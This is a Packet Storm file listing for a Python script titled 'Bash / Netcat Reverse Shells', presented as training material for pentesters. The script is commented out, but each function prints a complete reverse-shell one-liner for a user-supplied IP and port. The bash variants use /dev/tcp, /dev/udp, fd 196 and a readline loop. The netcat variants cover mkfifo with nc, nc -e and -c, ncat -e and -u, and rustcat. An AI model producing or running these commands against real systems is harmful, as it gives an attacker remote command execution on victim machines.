exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Bash / Netcat Reverse Shells

Bash / Netcat Reverse Shells
Posted Jul 4, 2022
Authored by Raed Ahsan

This script is a great tool for pentesters needing to create reverse shells using either bash or netcat.

tags | tool, shell, rootkit, bash
systems | unix
SHA-256 | 6fa1de2937ad42cc30d32f1a0d8144e64791a2c154a8baa4dad7d30634eb9f38

Bash / Netcat Reverse Shells

Change Mirror Download
# Author : Raed Ahsan
# Creation Date : 02/07/2022
# Title : Reverse_shells offline creation.
# R-Security training files

"""

I have merged two or more kinds of rev.shells in this single file
example = bash and netcat. Please do uncomment the code for each category
you intend to use.
Thank you
R-Security

"""

##########################################################
################# Bash category ##########################
##########################################################



# print("1 - Bash-i\n2 - Bash 196\n3 - Bash readline\n4 - Bash5\n5 - Bash udp")
# selection = int(input("Enter number:[1 to 5]: "))
# ip = ""
# port = 0

# def bash_i():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter Port: ")
# print("[*] Reverse shell created: sh -i >& /dev/tcp/{}/{} 0>&1".format(ip, port))

# def bash_196():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: 0<&196;exec 196<>/dev/tcp/{}/{}; sh <&196 >&196 2>&196".format(ip, port))

# def bash_readline():
# ip = input("Enter IP address: ")
# port = input("Enter Port: ")
# print("[*] Reverse shell created: exec 5<>/dev/tcp/{}/{};cat <&5 | while read line; do $line 2>&5 >&5; done".format(ip, port))

# def bash_5():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: sh -i 5<> /dev/tcp/{}/{} 0<&5 1>&5 2>&5".format(ip, port))

# def bash_udp():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: sh -i >& /dev/udp/{}/{} 0>&1".format(ip, port))

# # Finalizing selection of the user;

# if [1,2,3,4,5]:
# if selection == 1:
# bash_i()
# if selection == 2:
# bash_196()
# if selection == 3:
# bash_readline()
# if selection == 4:
# bash_5()
# if selection == 5:
# bash_udp()

#################################################################
############### Netcat Category #################################
#################################################################

# print("1 - nc mkfifo\n2 - nc-e\n3 - nc.exe -e\n4 - nc-c\n5 - ncat-e\n6 - ncat.exe-e\n7 - ncat udp\n8 - rustcat")
# selection = int(input("Enter rev.shell number[1-5]: "))
# ip = ""
# port = 0

# def nc_mkfifo():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f".format(ip, port))

# def nc_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc -e sh {} {} ".format(ip, port))

# def nc_exe_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc.exe -e sh {} {} ".format(ip, port))

# def nc_c():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc -c sh {} {}".format(ip, port))

# def ncat_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : ncat {} {} -e sh".format(ip, port))

# def ncat_exe_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : ncat.exe {} {} -e sh".format(ip, port))

# def ncat_udp():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u {} {} >/tmp/f".format(ip, port))

# def rustcat():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rcat {} {} -r sh".format(ip, port))

# if [1,2,3,4,5,6,7,8]:
# if selection == 1:
# nc_mkfifo()
# if selection == 2:
# nc_e()
# if selection == 3:
# nc_exe_e()
# if selection == 4:
# nc_c()
# if selection == 5:
# ncat_e()
# if selection == 6:
# ncat_exe_e()
# if selection == 7:
# ncat_udp()
# if selection == 8:
# rustcat()
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close